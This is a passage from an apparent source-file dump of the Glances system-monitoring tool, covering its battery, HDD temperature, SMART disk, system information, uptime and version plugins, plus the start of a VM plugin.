None)\n                system_critical = getattr(feature, 'critical', None)\n                sensors_current['warning'] = int(system_warning) if system_warning is not None else None\n                sensors_current['critical'] = int(system_critical) if system_critical is not None else None\n                # Add sensor to the list\n                ret.append(sensors_current)\n        return ret\n"
  },
  {
    "path": "glances/plugins/sensors/sensor/__init__.py",
    "content": ""
  },
  {
    "path": "glances/plugins/sensors/sensor/glances_batpercent.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Battery plugin.\"\"\"\n\nimport psutil\n\nfrom glances.globals import LINUX\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Batinfo library (optional; Linux-only)\nif LINUX:\n    batinfo_tag = True\n    try:\n        import batinfo\n    except ImportError:\n        logger.debug(\"batinfo library not found. Fallback to psutil.\")\n        batinfo_tag = False\nelse:\n    batinfo_tag = False\n\n# PsUtil Sensors_battery available on Linux, Windows, FreeBSD, macOS\npsutil_tag = True\ntry:\n    psutil.sensors_battery()\nexcept Exception as e:\n    logger.error(f\"Cannot grab battery status {e}.\")\n    psutil_tag = False\n\n\nclass BatpercentPlugin(GlancesPluginModel):\n    \"\"\"Glances battery capacity plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[])\n\n        # Init the sensor class\n        try:\n            self.glances_grab_bat = GlancesGrabBat()\n        except Exception as e:\n            logger.error(f\"Can not init battery class ({e})\")\n            global batinfo_tag\n            global psutil_tag\n            batinfo_tag = False\n            psutil_tag = False\n\n        # We do not want to display the stat in a dedicated area\n        # The HDD temp is displayed within the sensors plugin\n        self.display_curse = False\n\n    # @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update battery capacity stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats\n            self.glances_grab_bat.update()\n            stats = self.glances_grab_bat.get()\n\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            # Not available\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n\nclass GlancesGrabBat:\n    \"\"\"Get batteries stats using the batinfo library.\"\"\"\n\n    def __init__(self):\n        \"\"\"Init batteries stats.\"\"\"\n        self.bat_list = []\n\n        if batinfo_tag:\n            self.bat = batinfo.batteries()\n        elif psutil_tag:\n            self.bat = psutil\n        else:\n            self.bat = None\n\n    def update(self):\n        \"\"\"Update the stats.\"\"\"\n        self.bat_list = []\n        if batinfo_tag:\n            # Use the batinfo lib to grab the stats\n            # Compatible with multiple batteries\n            self.bat.update()\n            # Batinfo support multiple batteries\n            # ... so take it into account (see #1920)\n            # self.bat_list = [{\n            #     'label': 'Battery',\n            #     'value': self.battery_percent,\n            #     'unit': '%'}]\n            for b in self.bat.stat:\n                self.bat_list.append(\n                    {\n                        'label': 'BAT {}'.format(b.path.split('/')[-1]),\n                        'value': b.capacity,\n                        'unit': '%',\n                        'status': b.status,\n                    }\n                )\n        elif psutil_tag and hasattr(self.bat.sensors_battery(), 'percent'):\n            # Use psutil to grab the stats\n            # Give directly the battery percent\n            self.bat_list = [\n                {\n                    'label': 'Battery',\n                    'value': int(self.bat.sensors_battery().percent),\n                    'unit': '%',\n                    'status': 'Charging' if self.bat.sensors_battery().power_plugged else 'Discharging',\n                }\n            ]\n\n    def get(self):\n        \"\"\"Get the stats.\"\"\"\n        return self.bat_list\n\n    @property\n    def battery_percent(self):\n        \"\"\"Get batteries capacity percent.\"\"\"\n        if not batinfo_tag or not self.bat.stat:\n            return []\n\n        # Init the b_sum (sum of percent)\n        # and Loop over batteries (yes a computer could have more than 1 battery)\n        b_sum = 0\n        for b in self.bat.stat:\n            try:\n                b_sum += int(b.capacity)\n            except ValueError:\n                return []\n\n        # Return the global percent\n        return int(b_sum / len(self.bat.stat))\n"
  },
  {
    "path": "glances/plugins/sensors/sensor/glances_hddtemp.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"HDD temperature plugin.\"\"\"\n\nimport os\nimport socket\n\nfrom glances.globals import nativestr\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n\nclass HddtempPlugin(GlancesPluginModel):\n    \"\"\"Glances HDD temperature sensors plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[])\n\n        # Init the sensor class\n        hddtemp_host = self.get_conf_value(\"host\", default=[\"127.0.0.1\"])[0]\n        hddtemp_port = int(self.get_conf_value(\"port\", default=\"7634\"))\n        self.hddtemp = GlancesGrabHDDTemp(args=args, host=hddtemp_host, port=hddtemp_port)\n\n        # We do not want to display the stat in a dedicated area\n        # The HDD temp is displayed within the sensors plugin\n        self.display_curse = False\n\n    # @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update HDD stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n            stats = self.hddtemp.get()\n\n        else:\n            # Update stats using SNMP\n            # Not available for the moment\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n\nclass GlancesGrabHDDTemp:\n    \"\"\"Get hddtemp stats using a socket connection.\"\"\"\n\n    def __init__(self, host='127.0.0.1', port=7634, args=None):\n        \"\"\"Init hddtemp stats.\"\"\"\n        self.args = args\n        self.host = host\n        self.port = port\n        self.cache = \"\"\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset/init the stats.\"\"\"\n        self.hddtemp_list = []\n\n    def __update__(self):\n        \"\"\"Update the stats.\"\"\"\n        # Reset the list\n        self.reset()\n\n        # Fetch the data\n        # data = (\"|/dev/sda|WDC WD2500JS-75MHB0|44|C|\"\n        #         \"|/dev/sdb|WDC WD2500JS-75MHB0|35|C|\"\n        #         \"|/dev/sdc|WDC WD3200AAKS-75B3A0|45|C|\"\n        #         \"|/dev/sdd|WDC WD3200AAKS-75B3A0|45|C|\"\n        #         \"|/dev/sde|WDC WD3200AAKS-75B3A0|43|C|\"\n        #         \"|/dev/sdf|???|ERR|*|\"\n        #         \"|/dev/sdg|HGST HTS541010A9E680|SLP|*|\"\n        #         \"|/dev/sdh|HGST HTS541010A9E680|UNK|*|\")\n        data = self.fetch()\n\n        # Exit if no data\n        if data == \"\":\n            return\n\n        # Safety check to avoid malformed data\n        # Considering the size of \"|/dev/sda||0||\" as the minimum\n        if len(data) < 14:\n            data = self.cache if self.cache else self.fetch()\n        self.cache = data\n\n        try:\n            fields = data.split(b'|')\n        except TypeError:\n            fields = \"\"\n        devices = (len(fields) - 1) // 5\n        for item in range(devices):\n            offset = item * 5\n            hddtemp_current = {}\n            device = os.path.basename(nativestr(fields[offset + 1]))\n            temperature = fields[offset + 3]\n            unit = nativestr(fields[offset + 4])\n            hddtemp_current['label'] = device\n            try:\n                hddtemp_current['value'] = float(temperature)\n            except ValueError:\n                # Temperature could be 'ERR', 'SLP' or 'UNK' (see issue #824)\n                # Improper bytes/unicode in glances_hddtemp.py (see issue #887)\n                hddtemp_current['value'] = nativestr(temperature)\n            hddtemp_current['unit'] = unit\n            self.hddtemp_list.append(hddtemp_current)\n\n    def fetch(self):\n        \"\"\"Fetch the data from hddtemp daemon.\"\"\"\n        # Taking care of sudden deaths/stops of hddtemp daemon\n        try:\n            sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sck.connect((self.host, self.port))\n            data = b''\n            while True:\n                received = sck.recv(4096)\n                if not received:\n                    break\n                data += received\n        except Exception as e:\n            logger.debug(f\"Cannot connect to an HDDtemp server ({self.host}:{self.port} => {e})\")\n            logger.debug(\"Disable the HDDtemp module. Use the --disable-hddtemp to hide the previous message.\")\n            if self.args is not None:\n                self.args.disable_hddtemp = True\n            data = \"\"\n        finally:\n            sck.close()\n            if data != \"\":\n                logger.debug(f\"Received data from the HDDtemp server: {data}\")\n\n        return data\n\n    def get(self):\n        \"\"\"Get HDDs list.\"\"\"\n        self.__update__()\n        return self.hddtemp_list\n"
  },
  {
    "path": "glances/plugins/smart/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# Copyright (C) 2018 Tim Nibert <docz2a@gmail.com>\n# Copyright (C) 2026 Github@Drake7707\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nHard disk SMART attributes plugin.\nDepends on pySMART and smartmontools\nMust execute as root\n\"usermod -a -G disk USERNAME\" is not sufficient unfortunately\nSmartCTL (/usr/sbin/smartctl) must be in system path for python2.\n\nRegular PySMART is a python2 library.\nWe are using the pySMART.smartx updated library to support both python 2 and 3.\n\nIf we only have disk group access (no root):\n$ smartctl -i /dev/sda\nsmartctl 6.6 2016-05-31 r4324 [x86_64-linux-4.15.0-30-generic] (local build)\nCopyright (C) 2002-16, Bruce Allen, Christian Franke, www.smartmontools.org\n\n\nProbable ATA device behind a SAT layer\nTry an additional '-d ata' or '-d sat' argument.\n\nThis is not very hopeful: https://medium.com/opsops/why-smartctl-could-not-be-run-without-root-7ea0583b1323\n\nSo, here is what we are going to do:\nCheck for admin access.  If no admin access, disable SMART plugin.\n\nIf smartmontools is not installed, we should catch the error upstream in plugin initialization.\n\"\"\"\n\nfrom glances.globals import is_admin\nfrom glances.logger import logger\nfrom glances.main import disable\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Import plugin specific dependency\ntry:\n    from pySMART import DeviceList\n    from pySMART.interface.nvme import NvmeAttributes\nexcept ImportError as e:\n    import_error_tag = True\n    logger.warning(f\"Missing Python Lib ({e}), HDD Smart plugin is disabled\")\nelse:\n    import_error_tag = False\n\n\ndef convert_attribute_to_dict(attr):\n    return {\n        'name': attr.name,\n        'key': attr.name,\n        'num': attr.num,\n        'flags': attr.flags,\n        'raw': attr.raw,\n        'value': attr.value,\n        'worst': attr.worst,\n        'threshold': attr.thresh,\n        'type': attr.type,\n        'updated': attr.updated,\n        'when_failed': attr.when_failed,\n    }\n\n\n# Keys for attributes that should be formatted with auto_unit (large byte values)\nLARGE_VALUE_KEYS = frozenset(\n    [\n        \"bytesWritten\",\n        \"bytesRead\",\n        \"dataUnitsRead\",\n        \"dataUnitsWritten\",\n        \"hostReadCommands\",\n        \"hostWriteCommands\",\n    ]\n)\n\nNVME_ATTRIBUTE_LABELS = {\n    \"criticalWarning\": \"Number of critical warnings\",\n    \"_temperature\": \"Temperature (°C)\",\n    \"availableSpare\": \"Available spare (%)\",\n    \"availableSpareThreshold\": \"Available spare threshold (%)\",\n    \"percentageUsed\": \"Percentage used (%)\",\n    \"dataUnitsRead\": \"Data units read\",\n    \"bytesRead\": \"Bytes read\",\n    \"dataUnitsWritten\": \"Data units written\",\n    \"bytesWritten\": \"Bytes written\",\n    \"hostReadCommands\": \"Host read commands\",\n    \"hostWriteCommands\": \"Host write commands\",\n    \"controllerBusyTime\": \"Controller busy time (min)\",\n    \"powerCycles\": \"Power cycles\",\n    \"powerOnHours\": \"Power-on hours\",\n    \"unsafeShutdowns\": \"Unsafe shutdowns\",\n    \"integrityErrors\": \"Integrity errors\",\n    \"errorEntries\": \"Error log entries\",\n    \"warningTemperatureTime\": \"Warning temperature time (min)\",\n    \"criticalTemperatureTime\": \"Critical temperature time (min)\",\n    \"_logical_sector_size\": \"Logical sector size\",\n    \"_physical_sector_size\": \"Physical sector size\",\n    \"errors\": \"Errors\",\n    \"tests\": \"Self-tests\",\n}\n\n\ndef convert_nvme_attribute_to_dict(key, value):\n    label = NVME_ATTRIBUTE_LABELS.get(key, key)\n\n    return {\n        'name': label,\n        'key': key,\n        'value': value,\n        'flags': None,\n        'raw': value,\n        'worst': None,\n        'threshold': None,\n        'type': None,\n        'updated': None,\n        'when_failed': None,\n    }\n\n\ndef _process_standard_attributes(device_stats, attributes, hide_attributes):\n    \"\"\"Process standard SMART attributes and add them to device_stats.\"\"\"\n    for attribute in attributes:\n        if attribute is None or attribute.name in hide_attributes:\n            continue\n\n        attrib_dict = convert_attribute_to_dict(attribute)\n        num = attrib_dict.pop('num', None)\n        if num is None:\n            logger.debug(f'Smart plugin error - Skip attribute with no num: {attribute}')\n            continue\n\n        device_stats[num] = attrib_dict\n\n\ndef _process_nvme_attributes(device_stats, if_attributes, hide_attributes):\n    \"\"\"Process NVMe-specific attributes and add them to device_stats.\"\"\"\n    if not isinstance(if_attributes, NvmeAttributes):\n        return\n\n    for idx, (attr, value) in enumerate(vars(if_attributes).items(), start=1):\n        attrib_dict = convert_nvme_attribute_to_dict(attr, value)\n        if attrib_dict['name'] in hide_attributes:\n            continue\n\n        # Verify the value is serializable to prevent rendering errors\n        if value is not None:\n            try:\n                str(value)\n            except Exception:\n                logger.debug(f'Unable to serialize attribute {attr} from NVME')\n                attrib_dict['value'] = None\n                attrib_dict['raw'] = None\n\n        device_stats[idx] = attrib_dict\n\n\ndef get_smart_data(hide_attributes):\n    \"\"\"Get SMART attribute data.\n\n    Returns a list of dictionaries, each containing:\n    - 'DeviceName': Device identification string\n    - Numeric keys: SMART attribute dictionaries with flags, raw values, etc.\n    \"\"\"\n    stats = []\n    try:\n        devlist = DeviceList()\n    except TypeError as e:\n        logger.debug(f'Smart plugin error - Can not grab device list ({e})')\n        global import_error_tag\n        import_error_tag = True\n        return stats\n\n    for dev in devlist.devices:\n        device_stats = {'DeviceName': f'{dev.name} {dev.model}'}\n        _process_standard_attributes(device_stats, dev.attributes, hide_attributes)\n        _process_nvme_attributes(device_stats, dev.if_attributes, hide_attributes)\n        stats.append(device_stats)\n\n    return stats\n\n\nclass SmartPlugin(GlancesPluginModel):\n    \"\"\"Glances' HDD SMART plugin.\"\"\"\n\n    def __init__(self, args=None, config=None, stats_init_value=[]):\n        \"\"\"Init the plugin.\"\"\"\n        if not is_admin() and args:\n            disable(args, \"smart\")\n            logger.debug(\"Current user is not admin, HDD SMART plugin disabled.\")\n\n        super().__init__(args=args, config=config)\n\n        self.display_curse = True\n        self.hide_attributes = self._parse_hide_attributes(config)\n\n    def _parse_hide_attributes(self, config):\n        \"\"\"Parse and return the list of attributes to hide from config.\"\"\"\n        smart_config = config.as_dict().get('smart', {})\n        hide_attr_str = smart_config.get('hide_attributes', '')\n        if hide_attr_str:\n            logger.info(f'Following SMART attributes will not be displayed: {hide_attr_str}')\n            return hide_attr_str.split(',')\n        return []\n\n    @property\n    def hide_attributes(self):\n        \"\"\"Set hide_attributes list\"\"\"\n        return self._hide_attributes\n\n    @hide_attributes.setter\n    def hide_attributes(self, attr_list):\n        \"\"\"Set hide_attributes list\"\"\"\n        self._hide_attributes = list(attr_list)\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update SMART stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if import_error_tag:\n            return self.stats\n\n        if self.input_method == 'local':\n            # Update stats and hide some sensors(#2996)\n            stats = [\n                dict(s, key=self.get_key())\n                for s in get_smart_data(self.hide_attributes)\n                if self.is_display(s[self.get_key()])\n            ]\n        elif self.input_method == 'snmp':\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'DeviceName'\n\n    def _format_raw_value(self, stat):\n        \"\"\"Format a raw SMART attribute value for display.\"\"\"\n        raw = stat['raw']\n        if raw is None:\n            return \"\"\n        if stat['key'] in LARGE_VALUE_KEYS:\n            return self.auto_unit(raw)\n        return str(raw)\n\n    def _get_sorted_stat_keys(self, device_stat):\n        \"\"\"Get sorted attribute keys from device stats, excluding DeviceName.\"\"\"\n        keys = [k for k in device_stat if k != 'DeviceName']\n        try:\n            return sorted(keys, key=int)\n        except ValueError:\n            # Some keys may not be numeric (see #2904)\n            return keys\n\n    def _add_device_stats(self, ret, device_stat, max_width, name_max_width):\n        \"\"\"Add a device's SMART stats to the curse output.\"\"\"\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line(f'{device_stat[\"DeviceName\"][:max_width]:{max_width}}'))\n\n        for key in self._get_sorted_stat_keys(device_stat):\n            stat = device_stat[key]\n            ret.append(self.curse_new_line())\n\n            # Attribute name\n            name = stat['name'][: name_max_width - 1].replace('_', ' ')\n            ret.append(self.curse_add_line(f' {name:{name_max_width - 1}}'))\n\n            # Attribute value\n            try:\n                value_str = self._format_raw_value(stat)\n                ret.append(self.curse_add_line(f'{value_str:>8}'))\n            except Exception:\n                logger.debug(f\"Failed to serialize {key}\")\n                ret.append(self.curse_add_line(\"\"))\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        ret = []\n\n        if import_error_tag or not self.stats or self.is_disabled():\n            return ret\n\n        if not max_width:\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        name_max_width = max_width - 6\n\n        # Header\n        ret.append(self.curse_add_line(f'{\"SMART disks\":{name_max_width}}', \"TITLE\"))\n\n        # Device data\n        for device_stat in self.stats:\n            self._add_device_stats(ret, device_stat, max_width, name_max_width)\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/system/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"System plugin.\"\"\"\n\nimport builtins\nimport os\nimport platform\nimport re\n\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# {\n#   \"os_name\": \"Linux\",\n#   \"hostname\": \"XPS13-9333\",\n#   \"platform\": \"64bit\",\n#   \"linux_distro\": \"Ubuntu 22.04\",\n#   \"os_version\": \"5.15.0-88-generic\",\n#   \"hr_name\": \"Ubuntu 22.04 64bit\"\n# }\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'os_name': {\n        'description': 'Operating system name',\n    },\n    'hostname': {\n        'description': 'Hostname',\n    },\n    'platform': {\n        'description': 'Platform (32 or 64 bits)',\n    },\n    'linux_distro': {\n        'description': 'Linux distribution',\n    },\n    'os_version': {\n        'description': 'Operating system version',\n    },\n    'hr_name': {\n        'description': 'Human readable operating system name',\n    },\n}\n\n# SNMP OID\nsnmp_oid = {\n    'default': {'hostname': '1.3.6.1.2.1.1.5.0', 'system_name': '1.3.6.1.2.1.1.1.0'},\n    'netapp': {\n        'hostname': '1.3.6.1.2.1.1.5.0',\n        'system_name': '1.3.6.1.2.1.1.1.0',\n        'platform': '1.3.6.1.4.1.789.1.1.5.0',\n    },\n}\n\n# SNMP to human read\n# Dict (key: OS short name) of dict (reg exp OID to human)\n# Windows:\n# http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx\nsnmp_to_human = {\n    'windows': {\n        'Windows Version 10.0': 'Windows 10|11 or Server 2016|2019|2022',\n        'Windows Version 6.3': 'Windows 8.1 or Server 2012R2',\n        'Windows Version 6.2': 'Windows 8 or Server 2012',\n        'Windows Version 6.1': 'Windows 7 or Server 2008R2',\n        'Windows Version 6.0': 'Windows Vista or Server 2008',\n        'Windows Version 5.2': 'Windows XP 64bits or 2003 server',\n        'Windows Version 5.1': 'Windows XP',\n        'Windows Version 5.0': 'Windows 2000',\n    }\n}\n\n\ndef _linux_os_release():\n    \"\"\"Try to determine the name of a Linux distribution.\n\n    This function checks for the /etc/os-release file.\n    It takes the name from the 'NAME' field and the version from 'VERSION_ID'.\n    An empty string is returned if the above values cannot be determined.\n    \"\"\"\n    pretty_name = ''\n    ashtray = {}\n    keys = ['NAME', 'VERSION_ID']\n    try:\n        with builtins.open(os.path.join('/etc', 'os-release')) as f:\n            for line in f:\n                for key in keys:\n                    if line.startswith(key):\n                        ashtray[key] = re.sub(r'^\"|\"$', '', line.strip().split('=')[1])\n    except OSError:\n        return pretty_name\n\n    if ashtray:\n        if 'NAME' in ashtray:\n            pretty_name = ashtray['NAME']\n        if 'VERSION_ID' in ashtray:\n            pretty_name += ' {}'.format(ashtray['VERSION_ID'])\n\n    return pretty_name\n\n\nclass SystemPlugin(GlancesPluginModel):\n    \"\"\"Glances' host/system plugin.\n\n    stats is a dict\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, fields_description=fields_description)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Set default rate to 60 seconds\n        if self.get_refresh():\n            self.set_refresh(60)\n\n        # Get the default message (if defined)\n        self.system_info_msg = config.get_value('system', 'system_info_msg') if config else None\n\n    def update_stats_with_snmp(self):\n        try:\n            stats = self.get_stats_snmp(snmp_oid=snmp_oid[self.short_system_name])\n        except KeyError:\n            stats = self.get_stats_snmp(snmp_oid=snmp_oid['default'])\n\n        # Default behavior: display all the information\n        stats['os_name'] = stats['system_name']\n\n        # Windows OS tips\n        if self.short_system_name == 'windows':\n            for key, value in snmp_to_human['windows'].items():\n                if re.search(key, stats['system_name']):\n                    stats['os_name'] = value\n                    break\n\n        return stats\n\n    def add_human_readable_name(self, stats):\n        if self.system_info_msg:\n            try:\n                hr_name = self.system_info_msg.format(**stats)\n            except KeyError as e:\n                logger.debug(f'Error in system_info_msg ({e})')\n                hr_name = '{os_name} {os_version} {platform}'.format(**stats)\n        elif stats['os_name'] == \"Linux\":\n            hr_name = '{linux_distro} {platform} / {os_name} {os_version}'.format(**stats)\n        else:\n            hr_name = '{os_name} {os_version} {platform}'.format(**stats)\n        return hr_name\n\n    def get_win_version_and_platform(self, stats):\n        os_version = platform.win32_ver()\n        # if the python version is 32 bit perhaps the windows operating\n        # system is 64bit\n        conditions = [stats['platform'] == '32bit', 'PROCESSOR_ARCHITEW6432' in os.environ]\n\n        return {'os_version': ' '.join(os_version[::2]), 'platform': '64bit' if all(conditions) else stats['platform']}\n\n    def get_linux_version_and_distro(self):\n        try:\n            linux_distro = platform.linux_distribution()\n        except AttributeError:\n            distro = _linux_os_release()\n        else:\n            if linux_distro[0] == '':\n                distro = _linux_os_release()\n            else:\n                distro = ' '.join(linux_distro[:2])\n\n        return {'os_version': platform.release(), 'linux_distro': distro}\n\n    def get_stats_from_std_sys_lib(self, stats):\n        stats['os_name'] = platform.system()\n        stats['hostname'] = platform.node()\n        stats['platform'] = platform.architecture()[0]\n        if stats['os_name'] == \"Linux\":\n            stats.update(self.get_linux_version_and_distro())\n        elif stats['os_name'].endswith('BSD') or stats['os_name'] == 'SunOS':\n            stats['os_version'] = platform.release()\n        elif stats['os_name'] == \"Darwin\":\n            stats['os_version'] = platform.mac_ver()[0]\n        elif stats['os_name'] == \"Windows\":\n            stats.update(self.get_win_version_and_platform(stats))\n        else:\n            stats['os_version'] = \"\"\n\n        return stats\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the host/system info using the input method.\n\n        :return: the stats dict\n        \"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the standard system library\n            stats = self.get_stats_from_std_sys_lib(stats)\n\n            # Add human readable name\n            stats['hr_name'] = self.add_human_readable_name(stats)\n\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            stats = self.update_stats_with_snmp()\n\n            # Add human readable name\n            stats['hr_name'] = stats['os_name']\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the string to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and plugin not disabled\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Build the string message\n        if args and args.client:\n            # Client mode\n            if args.cs_status.lower() == \"connected\":\n                msg = 'Connected to '\n                ret.append(self.curse_add_line(msg, 'OK'))\n            elif args.cs_status.lower() == \"snmp\":\n                msg = 'SNMP from '\n                ret.append(self.curse_add_line(msg, 'OK'))\n            elif args.cs_status.lower() == \"disconnected\":\n                msg = 'Disconnected from '\n                ret.append(self.curse_add_line(msg, 'CRITICAL'))\n\n        # Hostname is mandatory\n        msg = self.stats['hostname']\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n\n        # System info\n        msg = ' ' + self.stats['hr_name'] + ' '\n        ret.append(self.curse_add_line(msg, optional=True))\n\n        # Return the message with decoration\n        return ret\n"
  },
  {
    "path": "glances/plugins/uptime/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Uptime plugin.\"\"\"\n\nfrom datetime import datetime, timedelta\n\nimport psutil\n\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# SNMP OID\nsnmp_oid = {'_uptime': '1.3.6.1.2.1.1.3.0'}\n\n\nclass UptimePlugin(GlancesPluginModel):\n    \"\"\"Glances uptime plugin.\n\n    stats is date (string)\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Set the message position\n        self.align = 'right'\n\n        # Init the stats\n        self.uptime = datetime.now() - datetime.fromtimestamp(psutil.boot_time())\n\n    def get_export(self):\n        \"\"\"Overwrite the default export method.\n\n        Export uptime in seconds.\n        \"\"\"\n        # Convert the delta time to seconds (with cast)\n        # Correct issue #1092 (thanks to @IanTAtWork)\n        return {'seconds': int(self.uptime.total_seconds())}\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update uptime stat using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n            self.uptime = datetime.now() - datetime.fromtimestamp(psutil.boot_time())\n\n            # Convert uptime to string (because datetime is not JSONifi)\n            stats = str(self.uptime).split('.')[0]\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            uptime = self.get_stats_snmp(snmp_oid=snmp_oid)['_uptime']\n            try:\n                # In hundredths of seconds\n                stats = str(timedelta(seconds=int(uptime) / 100))\n            except Exception:\n                pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the string to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and plugin not disabled\n        if not self.stats or self.is_disabled():\n            return ret\n\n        return [self.curse_add_line(f'Uptime: {self.stats}')]\n"
  },
  {
    "path": "glances/plugins/version/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"version plugin.\nJust a simple plugin to get the Glances version.\n\"\"\"\n\nfrom glances import __version__ as glances_version\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n\nclass VersionPlugin(GlancesPluginModel):\n    \"\"\"Get the Glances versions.\n\n    stats is a string\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset/init the stats.\"\"\"\n        self.stats = None\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the stats.\"\"\"\n        # Reset stats\n        self.reset()\n\n        # Return psutil version as a tuple\n        if self.input_method == 'local':\n            # psutil version only available in local\n            try:\n                self.stats = glances_version\n            except NameError:\n                pass\n        else:\n            pass\n\n        return self.stats\n"
  },
  {
    "path": "glances/plugins/vms/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Vms plugin.\"\"\"\n\nfrom copy import deepcopy\nfrom typing import Any\n\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.plugins.vms.engines import VmsExtension\nfrom glances.plugins.vms.engines.multipass import VmExtension as MultipassVmExtension\nfrom glances.plugins.vms.engines.virsh import VmExtension as VirshVmExtension\nfrom glances.processes import glances_processes\nfrom glances.processes import sort_stats as sort_stats_processes\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'name': {\n        'description': 'Vm name',\n    },\n    'id': {\n        'description': 'Vm ID',\n    },\n    'release': {\n        'description': 'Vm release',\n    },\n    'status': {\n        'description': 'Vm status',\n    },\n    'cpu_count': {\n        'description': 'Vm CPU count',\n    },\n    'cpu_time': {\n        'description': 'Vm CPU time',\n        'rate': True,\n        'unit': 'percent',\n    },\n    'memory_usage': {\n        'description': 'Vm memory usage',\n        'unit': 'byte',\n    },\n    'memory_total': {\n        'description': 'Vm memory 